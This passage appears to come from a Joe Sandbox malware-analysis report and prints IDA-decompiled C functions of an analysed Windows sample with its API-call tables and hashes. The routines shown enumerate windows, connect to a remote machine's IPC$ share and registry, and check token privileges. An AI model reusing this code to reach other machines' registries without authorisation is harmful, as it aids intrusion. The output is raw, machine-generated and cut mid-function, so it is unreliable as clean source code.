							_t199 = _v2084;
							_t191 = _a8;
						}
						if(( *(_t173 + 8) & 0x00000004) != 0) {
							_t237 = _t199 - _v2088;
							if(_t199 == _v2088 && E004457EE(_t237, _t173, _t191) != 0) {
								_t199 = _t199 + 1;
							}
							_v2088 = _v2088 + 1;
						}
						_t126 =  *(_t173 + 8);
						if((_t126 & 0x00000780) != 0) {
							GetWindowRect(_t191,  &_v2080);
							_t126 =  *(_t173 + 8);
							_t183 = _v2080.left;
							if(_t126 < 0) {
								if( *((intOrPtr*)(_t173 + 0xd4)) == _t183) {
									_t199 = _t199 + 1;
								}
								_v2088 = _v2088 + 1;
							}
							_t180 = _v2080.top;
							if((_t126 & 0x00000100) != 0) {
								if( *((intOrPtr*)(_t173 + 0xd8)) == _t180) {
									_t199 = _t199 + 1;
								}
								_v2088 = _v2088 + 1;
							}
							if((_t126 & 0x00000200) != 0) {
								if( *((intOrPtr*)(_t173 + 0xdc)) == _v2080.right - _t183) {
									_t199 = _t199 + 1;
								}
								_v2088 = _v2088 + 1;
							}
							if((_t126 & 0x00000400) != 0) {
								if( *((intOrPtr*)(_t173 + 0xe0)) == _v2080.bottom - _t180) {
									_t199 = _t199 + 1;
								}
								_v2088 = _v2088 + 1;
							}
						}
						_t177 = _v2088;
						if((_t126 & 0x00000020) != 0) {
							if(_t199 == _t177) {
								 *((intOrPtr*)(_t173 + 0xd0)) =  *((intOrPtr*)(_t173 + 0xd0)) + 1;
								if( *((intOrPtr*)(_t173 + 0xd0)) ==  *((intOrPtr*)(_t173 + 0xcc))) {
									_t199 = _t199 + 1;
								}
							}
							_t177 = _t177 + 1;
						}
						if(_t199 != _t177) {
							return 1;
						} else {
							E00434343(_t173, _t206, _t173 + 0xec,  &_a8);
							 *((intOrPtr*)(_t173 + 0xe4)) =  *((intOrPtr*)(_t173 + 0xe4)) + 1;
							return 0 |  *((intOrPtr*)(_t173 + 4)) == 0x00000000;
						}
					}
					GetWindowTextW(_t191,  &_v2060, 0x400);
					_t197 =  &_v2060;
					E00401B70(_t173, _t197,  &_v2080, _t226);
					E004602EB( &_v2080, _t173 + 0x34,  &_v2080);
					_t176 =  &_v2088;
					E00402620( &_v2088);
					if(E0044CB6C(_t173 + 0x34) == 0) {
						L27:
						_v2088 = _v2088 + 1;
						_t199 = _v2084;
						_t191 = _a8;
						goto L28;
					}
					if(( *(_t173 + 8) & 0x00000018) != 0) {
						L26:
						_v2084 = _v2084 + 1;
						goto L27;
					}
					GetClassNameW(_a8, _t197, 0x400);
					if(E004133E4(L"ThumbnailClass", _t197) == 0) {
						goto L27;
					}
					goto L26;
				} else {
					GetWindowTextW(_t191,  &_v2060, 0x400);
					if( *((char*)(_t173 + 0xc)) == 0) {
						_t166 = E004112D5( &_v2060);
						_t209 = _t209 + 4;
						_t176 =  &_v2060;
						CharUpperBuffW( &_v2060, _t166);
					}
					_t152 =  *((intOrPtr*)(_t173 + 0x10)) - 1;
					_v2064 = _t199;
					if(_t152 == 0) {
						_t176 =  *((intOrPtr*)(_t173 + 0x14));
						_t154 = E00413503( *((intOrPtr*)(_t173 + 0x14)),  &_v2060,  *((intOrPtr*)(_t173 + 0x18)));
						_t209 = _t209 + 0xc;
						__eflags = _t154;
						if(__eflags != 0) {
							goto L18;
						}
					} else {
						_t158 = _t152 - 1;
						if(_t158 == 0) {
							_t161 = E00413772( &_v2060,  *((intOrPtr*)(_t173 + 0x14)));
							_t209 = _t209 + 8;
							__eflags = _t161;
							if(__eflags == 0) {
								L18:
								if(( *(_t173 + 8) & 0x00000018) == 0) {
									GetClassNameW(_t191,  &_v2060, 0x400);
									_t176 =  &_v2060;
									_t157 = E004133E4(L"ThumbnailClass",  &_v2060);
									_t209 = _t209 + 8;
									if(_t157 == 0) {
										_t199 = _v2064;
										_v2084 = _t199;
									}
								}
								_v2088 = _v2088 + 1;
								goto L22;
							}
							L17:
							_t199 = _t199 + 1;
							_v2084 = _t199;
							goto L18;
						}
						if(_t158 != 1) {
							goto L18;
						}
						_t164 = E004133E4( &_v2060,  *((intOrPtr*)(_t173 + 0x14)));
						_t209 = _t209 + 8;
						if(_t164 != 0) {
							goto L18;
						}
					}
					goto L17;
				}
			}































                                                                                                                                                                            0x00460479
                                                                                                                                                                            0x00460480
                                                                                                                                                                            0x00460483
                                                                                                                                                                            0x00460487
                                                                                                                                                                            0x0046048a
                                                                                                                                                                            0x0046048e
                                                                                                                                                                            0x00460494
                                                                                                                                                                            0x00460496
                                                                                                                                                                            0x0046049b
                                                                                                                                                                            0x0046049f
                                                                                                                                                                            0x0046049f
                                                                                                                                                                            0x004604a3
                                                                                                                                                                            0x004604a8
                                                                                                                                                                            0x004604d8
                                                                                                                                                                            0x004604d8
                                                                                                                                                                            0x004604e0
                                                                                                                                                                            0x004605b1
                                                                                                                                                                            0x004605b1
                                                                                                                                                                            0x004605b5
                                                                                                                                                                            0x0046062d
                                                                                                                                                                            0x0046062d
                                                                                                                                                                            0x00460631
                                                                                                                                                                            0x0046063e
                                                                                                                                                                            0x0046064c
                                                                                                                                                                            0x0046065a
                                                                                                                                                                            0x00460663
                                                                                                                                                                            0x00460670
                                                                                                                                                                            0x00460672
                                                                                                                                                                            0x00460672
                                                                                                                                                                            0x00460676
                                                                                                                                                                            0x0046067a
                                                                                                                                                                            0x0046067e
                                                                                                                                                                            0x0046067e
                                                                                                                                                                            0x00460685
                                                                                                                                                                            0x00460687
                                                                                                                                                                            0x0046068b
                                                                                                                                                                            0x00460698
                                                                                                                                                                            0x00460698
                                                                                                                                                                            0x00460699
                                                                                                                                                                            0x00460699
                                                                                                                                                                            0x0046069d
                                                                                                                                                                            0x004606a5
                                                                                                                                                                            0x004606ad
                                                                                                                                                                            0x004606b3
                                                                                                                                                                            0x004606b6
                                                                                                                                                                            0x004606bc
                                                                                                                                                                            0x004606c4
                                                                                                                                                                            0x004606c6
                                                                                                                                                                            0x004606c6
                                                                                                                                                                            0x004606c7
                                                                                                                                                                            0x004606c7
                                                                                                                                                                            0x004606cb
                                                                                                                                                                            0x004606d4
                                                                                                                                                                            0x004606dc
                                                                                                                                                                            0x004606de
                                                                                                                                                                            0x004606de
                                                                                                                                                                            0x004606df
                                                                                                                                                                            0x004606df
                                                                                                                                                                            0x004606e8
                                                                                                                                                                            0x004606f6
                                                                                                                                                                            0x004606f8
                                                                                                                                                                            0x004606f8
                                                                                                                                                                            0x004606f9
                                                                                                                                                                            0x004606f9
                                                                                                                                                                            0x00460702
                                                                                                                                                                            0x00460710
                                                                                                                                                                            0x00460712
                                                                                                                                                                            0x00460712
                                                                                                                                                                            0x00460713
                                                                                                                                                                            0x00460713
                                                                                                                                                                            0x00460702
                                                                                                                                                                            0x00460717
                                                                                                                                                                            0x0046071d
                                                                                                                                                                            0x00460721
                                                                                                                                                                            0x00460723
                                                                                                                                                                            0x00460735
                                                                                                                                                                            0x00460737
                                                                                                                                                                            0x00460737
                                                                                                                                                                            0x00460735
                                                                                                                                                                            0x00460738
                                                                                                                                                                            0x00460738
                                                                                                                                                                            0x0046073b
                                                                                                                                                                            0x0046076f
                                                                                                                                                                            0x0046073d
                                                                                                                                                                            0x00460748
                                                                                                                                                                            0x0046074d
                                                                                                                                                                            0x00460761
                                                                                                                                                                            0x00460761
                                                                                                                                                                            0x0046073b
                                                                                                                                                                            0x004605c2
                                                                                                                                                                            0x004605c8
                                                                                                                                                                            0x004605d0
                                                                                                                                                                            0x004605de
                                                                                                                                                                            0x004605e3
                                                                                                                                                                            0x004605e7
                                                                                                                                                                            0x004605f4
                                                                                                                                                                            0x00460622
                                                                                                                                                                            0x00460622
                                                                                                                                                                            0x00460626
                                                                                                                                                                            0x0046062a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046062a
                                                                                                                                                                            0x004605fa
                                                                                                                                                                            0x0046061e
                                                                                                                                                                            0x0046061e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046061e
                                                                                                                                                                            0x00460606
                                                                                                                                                                            0x0046061c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004604e6
                                                                                                                                                                            0x004604f1
                                                                                                                                                                            0x004604fb
                                                                                                                                                                            0x00460502
                                                                                                                                                                            0x00460507
                                                                                                                                                                            0x0046050b
                                                                                                                                                                            0x00460510
                                                                                                                                                                            0x00460510
                                                                                                                                                                            0x00460519
                                                                                                                                                                            0x0046051c
                                                                                                                                                                            0x00460520
                                                                                                                                                                            0x0046055d
                                                                                                                                                                            0x00460567
                                                                                                                                                                            0x0046056c
                                                                                                                                                                            0x0046056f
                                                                                                                                                                            0x00460571
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460522
                                                                                                                                                                            0x00460522
                                                                                                                                                                            0x00460525
                                                                                                                                                                            0x0046054c
                                                                                                                                                                            0x00460551
                                                                                                                                                                            0x00460554
                                                                                                                                                                            0x00460556
                                                                                                                                                                            0x00460578
                                                                                                                                                                            0x0046057c
                                                                                                                                                                            0x00460589
                                                                                                                                                                            0x0046058f
                                                                                                                                                                            0x00460599
                                                                                                                                                                            0x0046059e
                                                                                                                                                                            0x004605a3
                                                                                                                                                                            0x004605a5
                                                                                                                                                                            0x004605a9
                                                                                                                                                                            0x004605a9
                                                                                                                                                                            0x004605a3
                                                                                                                                                                            0x004605ad
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004605ad
                                                                                                                                                                            0x00460573
                                                                                                                                                                            0x00460573
                                                                                                                                                                            0x00460574
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460574
                                                                                                                                                                            0x0046052a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460535
                                                                                                                                                                            0x0046053a
                                                                                                                                                                            0x0046053f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460541
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00460520

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                                                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00460502
                                                                                                                                                                            • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                                                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                                                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                                                                                                            • String ID: ThumbnailClass
                                                                                                                                                                            • API String ID: 4123061591-1241985126
                                                                                                                                                                            • Opcode ID: e69171ecdb66c2ac8a22ada2a36eef6888958b698e598c7a9cc9f9e3d6af1520
                                                                                                                                                                            • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                                                                                                            • Opcode Fuzzy Hash: e69171ecdb66c2ac8a22ada2a36eef6888958b698e598c7a9cc9f9e3d6af1520
                                                                                                                                                                            • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004580E1 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136registryshareCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E004580E1(void* __ebx, void* __edx, void* __eflags, void* __fp0, char* _a8, intOrPtr _a12, short* _a16) {
				intOrPtr _v0;
				char _v520;
				intOrPtr _v536;
				int _v548;
				char _v552;
				struct _NETRESOURCE _v556;
				char _v568;
				intOrPtr _v572;
				short* _v584;
				char _v588;
				short* _v600;
				void* _v604;
				int _v608;
				void* _v612;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t57;
				signed int _t70;
				int _t72;
				void* _t98;
				void* _t107;
				char* _t109;
				int _t110;
				short* _t112;
				void** _t114;

				_t126 = __fp0;
				_t98 = __edx;
				_t85 = __ebx;
				_t114 =  &_v612;
				_t112 = _a16;
				_t109 = _a8;
				_v604 = 0;
				_v612 = 0;
				E0040C060( &_v584, __eflags);
				E0040C060( &_v600, __eflags);
				E0040C060( &_v568, __eflags);
				E004021E0( &_v584, __ebx, _t98, L"SOFTWARE\\Classes\\");
				E0040D330( &_v588, __ebx, _v0, __fp0);
				_t105 = L"\\CLSID";
				E0040D330( &_v588, __ebx, L"\\CLSID", __fp0);
				E004021E0( &_v604, __ebx, _t98, 0x4848e8);
				if(_t109 != 0 &&  *_t109 != 0x5c && _t109[2] != 0x5c) {
					E004021E0( &_v600, _t85, _t98, L"\\\\");
					_t105 = _t109;
					E0040D330( &_v604, _t85, _t109, __fp0);
				}
				if(_t112 == 0) {
					L6:
					_t57 = RegConnectRegistryW(_v600, 0x80000002,  &_v604);
					_t110 = _t57;
					if(_t110 == 0) {
						_t110 = RegOpenKeyExW(_v604, _v584, _t57, 0x20019,  &_v612);
						if(_t110 == 0) {
							_v608 = 0x1fe;
							_t110 = RegQueryValueExW(_v612, 0, 0, 0,  &_v520,  &_v608);
							if(_t110 == 0) {
								_t70 = _v608 >> 1;
								_v608 = _t70;
								 *((short*)(_t114 + 0x68 + _t70 * 2)) = 0;
								_t107 = E0040FFF0(_t85,  &_v520, 0);
								_t72 =  *0x482810(_t107, _a12);
								_push(_t107);
								_t110 = _t72;
								E004137D3(_t85, _a12, _t107, _t110, 0);
							}
							RegCloseKey(_v612);
						}
						RegCloseKey(_v604);
					}
					goto L12;
				} else {
					E004131F0(_t105,  &_v552, 0, 0x20);
					_t114 =  &(_t114[3]);
					_v548 = 0;
					E0040DF50( &_v568,  &_v600);
					E0040D330( &_v568, _t85, L"\\IPC$", _t126);
					_v536 = _v572;
					_t110 = WNetAddConnection2W( &_v556, _a16, _t112, 0);
					if(_t110 != 0) {
						L12:
						E00402620( &_v568);
						E00402620( &_v600);
						E00402620( &_v584);
						return _t110;
					}
					goto L6;
				}
			}





























                                                                                                                                                                            0x004580e1
                                                                                                                                                                            0x004580e1
                                                                                                                                                                            0x004580e1
                                                                                                                                                                            0x004580e1
                                                                                                                                                                            0x004580e8
                                                                                                                                                                            0x004580f0
                                                                                                                                                                            0x004580fc
                                                                                                                                                                            0x00458104
                                                                                                                                                                            0x0045810c
                                                                                                                                                                            0x00458115
                                                                                                                                                                            0x0045811e
                                                                                                                                                                            0x0045812c
                                                                                                                                                                            0x0045813c
                                                                                                                                                                            0x00458141
                                                                                                                                                                            0x0045814a
                                                                                                                                                                            0x00458158
                                                                                                                                                                            0x0045815f
                                                                                                                                                                            0x00458177
                                                                                                                                                                            0x0045817c
                                                                                                                                                                            0x00458182
                                                                                                                                                                            0x00458182
                                                                                                                                                                            0x00458189
                                                                                                                                                                            0x004581e5
                                                                                                                                                                            0x004581f4
                                                                                                                                                                            0x004581fa
                                                                                                                                                                            0x004581fe
                                                                                                                                                                            0x00458225
                                                                                                                                                                            0x00458229
                                                                                                                                                                            0x00458240
                                                                                                                                                                            0x0045824e
                                                                                                                                                                            0x00458252
                                                                                                                                                                            0x00458258
                                                                                                                                                                            0x00458260
                                                                                                                                                                            0x00458264
                                                                                                                                                                            0x00458275
                                                                                                                                                                            0x00458279
                                                                                                                                                                            0x0045827f
                                                                                                                                                                            0x00458280
                                                                                                                                                                            0x00458282
                                                                                                                                                                            0x00458287
                                                                                                                                                                            0x0045828f
                                                                                                                                                                            0x0045828f
                                                                                                                                                                            0x00458296
                                                                                                                                                                            0x00458296
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045818b
                                                                                                                                                                            0x00458194
                                                                                                                                                                            0x00458199
                                                                                                                                                                            0x004581a5
                                                                                                                                                                            0x004581ad
                                                                                                                                                                            0x004581b9
                                                                                                                                                                            0x004581d2
                                                                                                                                                                            0x004581db
                                                                                                                                                                            0x004581df
                                                                                                                                                                            0x00458298
                                                                                                                                                                            0x0045829c
                                                                                                                                                                            0x004582a5
                                                                                                                                                                            0x004582ae
                                                                                                                                                                            0x004582be
                                                                                                                                                                            0x004582be
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004581df

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • _memset.LIBCMT ref: 00458194
                                                                                                                                                                            • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                                                                                                            • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                                                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                                                                                                            • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Close$ConnectConnection2OpenQueryRegistryValue_memset_wcslen
                                                                                                                                                                            • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                                            • API String ID: 2441719992-22481851
                                                                                                                                                                            • Opcode ID: 0d9c0df7270c869d7cac9b0932ccd045c0ffc63e625489a8662e397cd9251e0d
                                                                                                                                                                            • Instruction ID: 72af60983ba7b0dac16083a6d39a40a605b9268420798eaea06033c553dc61e3
                                                                                                                                                                            • Opcode Fuzzy Hash: 0d9c0df7270c869d7cac9b0932ccd045c0ffc63e625489a8662e397cd9251e0d
                                                                                                                                                                            • Instruction Fuzzy Hash: A0419C725083019BD320EF64C845B5FB7E8AF84704F044D2EF985B7291DBB8E949CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004393E2() {
				void* _t28;
				void* _t35;
				void* _t36;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t43;
				intOrPtr* _t48;
				WCHAR* _t50;
				intOrPtr* _t52;
				void* _t53;

				_t50 = 0;
				_t48 = 0;
				 *(_t53 + 0x1c) = 0;
				 *((intOrPtr*)(_t53 + 0x20)) = 0;
				_t40 = 0;
				 *((intOrPtr*)(_t53 + 0x24)) = 0;
				if(OpenThreadToken(GetCurrentProcess(), 8, 0, _t53 + 0x10) != 0 || OpenProcessToken(GetCurrentProcess(), 8, _t53 + 0x10) != 0) {
					if(E0043905C( *(_t53 + 0x10), _t53 + 0x18, _t53 + 0x18) == 0 || LookupPrivilegeValueW(_t50, L"SeAssignPrimaryTokenPrivilege", _t53 + 0x1c) == 0) {
						L18:
						_t48 =  *((intOrPtr*)(_t53 + 0x14));
					} else {
						 *(_t53 + 0x30) = _t50;
						if(LookupPrivilegeValueW(_t50, L"SeIncreaseQuotaPrivilege", _t53 + 0x28) == 0) {
							goto L18;
						} else {
							_t48 =  *((intOrPtr*)(_t53 + 0x14));
							 *(_t53 + 0x30) = _t50;
							if( *_t48 > _t50) {
								_t41 = _t48 + 4;
								do {
									_t52 = _t53 + 0x24;
									 *((intOrPtr*)(_t53 + 0x14)) = 2;
									do {
										_t36 = E00411B63(_t41, _t52 - 8, 8);
										_t53 = _t53 + 0xc;
										if(_t36 == 0) {
											 *_t52 = 1;
										}
										_t52 = _t52 + 0xc;
										_t18 = _t53 + 0x14;
										 *_t18 =  *((intOrPtr*)(_t53 + 0x14)) - 1;
									} while ( *_t18 != 0);
									_t50 =  &(_t50[0]);
									_t41 = _t41 + 0xc;
								} while (_t50 <  *_t48);
								_t50 = 0;
							}
							_t40 = 1;
							_t35 = 0;
							_t43 = _t53 + 0x24;
							while( *_t43 != _t50) {
								_t35 = _t35 + 1;
								_t43 = _t43 + 0xc;
								if(_t35 < 2) {
									continue;
								} else {
								}
								goto L19;
							}
							_t40 = 0;
						}
					}
				}
				L19:
				_t28 =  *(_t53 + 0x10);
				if(_t28 != _t50) {
					CloseHandle(_t28);
				}
				E00438FB6(_t48);
				return _t40;
			}













                                                                                                                                                                            0x004393f3
                                                                                                                                                                            0x004393f7
                                                                                                                                                                            0x004393fb
                                                                                                                                                                            0x004393ff
                                                                                                                                                                            0x00439403
                                                                                                                                                                            0x00439405
                                                                                                                                                                            0x00439414
                                                                                                                                                                            0x00439444
                                                                                                                                                                            0x004394eb
                                                                                                                                                                            0x004394eb
                                                                                                                                                                            0x00439465
                                                                                                                                                                            0x00439470
                                                                                                                                                                            0x00439478
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043947a
                                                                                                                                                                            0x0043947a
                                                                                                                                                                            0x0043947e
                                                                                                                                                                            0x00439484
                                                                                                                                                                            0x00439486
                                                                                                                                                                            0x00439492
                                                                                                                                                                            0x00439492
                                                                                                                                                                            0x00439496
                                                                                                                                                                            0x004394a2
                                                                                                                                                                            0x004394a9
                                                                                                                                                                            0x004394ae
                                                                                                                                                                            0x004394b8
                                                                                                                                                                            0x004394ba
                                                                                                                                                                            0x004394ba
                                                                                                                                                                            0x004394bd
                                                                                                                                                                            0x004394c0
                                                                                                                                                                            0x004394c0
                                                                                                                                                                            0x004394c0
                                                                                                                                                                            0x004394c6
                                                                                                                                                                            0x004394c7
                                                                                                                                                                            0x004394ca
                                                                                                                                                                            0x004394ce
                                                                                                                                                                            0x004394ce
                                                                                                                                                                            0x004394d0
                                                                                                                                                                            0x004394d2
                                                                                                                                                                            0x004394d4
                                                                                                                                                                            0x004394d8
                                                                                                                                                                            0x004394dc
                                                                                                                                                                            0x004394dd
                                                                                                                                                                            0x004394e3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004394e5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004394e3
                                                                                                                                                                            0x004394e7
                                                                                                                                                                            0x004394e7
                                                                                                                                                                            0x00439478
                                                                                                                                                                            0x00439444
                                                                                                                                                                            0x004394ef
                                                                                                                                                                            0x004394ef
                                                                                                                                                                            0x004394f5
                                                                                                                                                                            0x004394f8
                                                                                                                                                                            0x004394f8
                                                                                                                                                                            0x004394ff
                                                                                                                                                                            0x00439510

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                                                                                                            • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                                                                                                            • _memcmp.LIBCMT ref: 004394A9
                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                                                                                                            Strings
                                                                                                                                                                            • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                                                                                                            • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                                                                                                            • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                                                                                            • API String ID: 1446985595-805462909
                                                                                                                                                                            • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                            • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                                                                                                            • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                            • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004584D6 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 89%
                                                                                                                                                                            			E004584D6(void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				char _v524;
				short _v604;
				char _v608;
				struct _FILETIME _v612;
				char _v628;
				void* _v632;
				void* _v636;
				int _v640;
				void* __ebx;
				void* __edi;
				signed int _t52;
				void* _t54;
				int _t56;
				char* _t71;
				void* _t72;
				void* _t74;
				void* _t82;

				_t82 = __fp0;
				_t72 = 0x80004002;
				_t56 = 0;
				_v640 = 0x28;
				E0040C060( &_v628, __eflags);
				if(RegOpenKeyExW(0x80000000, L"interface", 0, 0x20019,  &_v632) != 0) {
					L10:
					E00402620( &_v628);
					return _t72;
				}
				while(RegEnumKeyExW(_v632, _t56,  &_v604,  &_v640, 0, 0, 0,  &_v612) == 0) {
					 *((short*)(_t74 + 0x38 + _v640 * 2)) = 0;
					_v640 = 0x1fe;
					E004021E0( &_v628, _t56, 0, L"interface\\");
					_t71 =  &_v608;
					E0040D330( &_v632, _t56, _t71, _t82);
					if(RegOpenKeyExW(0x80000000, _v632, 0, 0x20019,  &_v640) == 0) {
